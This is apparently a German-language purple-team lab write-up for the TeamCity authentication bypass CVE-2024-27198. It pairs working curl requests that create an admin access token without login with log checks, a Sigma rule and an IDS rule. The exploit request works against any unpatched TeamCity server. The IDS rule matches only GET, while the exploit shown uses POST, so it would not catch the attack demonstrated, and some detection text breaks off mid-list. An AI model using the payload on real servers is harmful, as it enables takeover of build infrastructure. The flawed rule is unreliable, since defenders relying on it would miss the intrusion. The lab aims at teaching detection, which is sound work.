TeamCity stellt eine nur für Administratoren vorgesehene Seite für die Token-Verwaltung bereit, die nicht durch Authentifizierung geschützt ist. Dadurch kann ein nicht authentifizierter Benutzer ein Zugriffstoken für den Admin-Benutzer generieren, wenn er die ID eines vorhandenen Benutzers herausfinden kann.
Die Schwachstelle liegt im Routing-Mechanismus der REST-API. Durch das Anhängen bestimmter Zeichen (wie ?jsp=/app/rest/...;.jsp) an einen nicht authentifizierten Endpunkt können Angreifer den TeamCity-Webserver dazu bringen, die Anfrage an einen authentifizierten Endpunkt weiterzuleiten und dabei die Sicherheitsfilter zu umgehen. Dies erfordert keinerlei Vorwissen oder Zugriff und macht sie zu einer reinen 9.8-CVSS-Schwachstelle.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
Greifen Sie auf die anfällige TeamCity-Instanz unter http://localhost:8111 zu. Greifen Sie auf die gepatchte TeamCity-Instanz unter http://localhost:8112 zu.
Benutzername:
admin
Passwort:
admin
GET-Anfrage für eine Ressource ohne Authentifizierung:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Beide sollten einen Fehler mit dem Statuscode 401 zurückgeben.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Dies sollte ein Token wie folgt zurückgeben (Das Token ist jedes Mal anders):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Dies sollte einen Fehler mit dem Statuscode 401 zurückgeben, da die gepatchte Instanz die Schwachstelle nicht aufweist.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Sollte die Liste der Benutzer zurückgeben.
Während der Demonstration im Labor können Sie einen massiven Blue-Team-Fund zeigen: Standardmäßig ist diese Schwachstelle unglaublich heimlich!
;.jsp-HTTP-Anfragen nicht protokolliert.Wie können wir es also erwischen? Wenn der Angreifer seine Spuren verwischt! Wenn der Angreifer sein nicht autorisiertes Token löscht, um sich zu verstecken, protokolliert TeamCity das sehr wohl.
Finden Sie den Angreifer beim Verwischen seiner Spuren in den Auditprotokollen:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Sie werden einen Protokolleintrag sehen, der angibt, dass das Token „REDTEAM“ gelöscht wurde).
docker compose -f docker-compose.yml down
Diese Schwachstelle ist ein Fall von CWE-288: Authentication Bypass Using an Alternate Path or Channel.
Der Fehler beruht auf einer Pfadverwechslung zwischen dem Tomcat-Webserver und dem TeamCity-Anwendungsrouter. Durch das Anhängen von ;.jsp und das Übergeben des Ziel-REST-API-Endpunkts im Parameter jsp= interpretiert der anfängliche Sicherheitsfilter die Anfrage als nicht authentifizierte Anfrage an eine öffentliche .jsp-Datei (was erlaubt ist). Der interne Router entfernt jedoch das ;.jsp und leitet die Anfrage an den eingeschränkten /app/rest/-Endpunkt weiter, ohne den Authentifizierungsfilter durchzusetzen.
Legitimer Anwendungsfall (Warum ist ; erlaubt?):
Tomcat verwendet das Semikolon (;) für Matrix-Parameter. Historisch gesehen wird dieser Mechanismus verwendet, um Parameter direkt im Pfad zu übergeben, z. B. durch Anhängen von JSESSIONID, um den Sitzungsstatus des Benutzers aufrechtzuerhalten, wenn Cookies deaktiviert sind. Dieses normale, legitime Webserver-Verhalten in Kombination mit der unsachgemäßen Validierung durch den TeamCity-Anwendungsrouter erzeugt die Schwachstelle.
Um eine laufende oder vergangene Kompromittierung zu erkennen, sollten Blue Teams nach Folgendem Ausschau halten:
/app/rest/-Endpunkte abzielen, aber die anomale Zeichenfolge ;.jsp in der URI enthalten.teamcity-server.log): Unerklärliche Generierung von Zugriffstokens oder Erstellung neuer administrativer Konten.Da der anfängliche Exploit standardmäßig heimlich ist, müssen sich Blue Teams darauf verlassen, die Post-Exploitation-Aktionen des Angreifers zu erkennen, z. B. das Verwischen seiner Spuren. Hier ist eine Sigma-Regel für Ihr SIEM, um verdächtige Token-Löschungen zu erkennen:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
Um zu beweisen, dass diese Erkennung funktioniert, führen Sie das Skript siem_simulator.py aus.
docker compose up -d).python3 siem_simulator.py
Um diesen Exploit-Versuch im Netzwerk zu erkennen, kann ein SOC die folgende IDS-Regel implementieren, die nach dem anomalen ;.jsp-Muster in Kombination mit REST-API-Pfaden sucht:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Um zu beweisen, dass die Gegenmaßnahme funktioniert, können Sie dieselbe Exploit-Payload gegen den gepatchten TeamCity-Container auf Port 8112 ausführen:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Da der Patch die Route-Zuordnung strikt erzwingt und Matrix-Parameter ordnungsgemäß bereinigt, schlägt der Bypass fehl. Sie sollten eine 401 Unauthorized- oder 404 Not Found-Antwort sehen, anstatt eines generierten Tokens.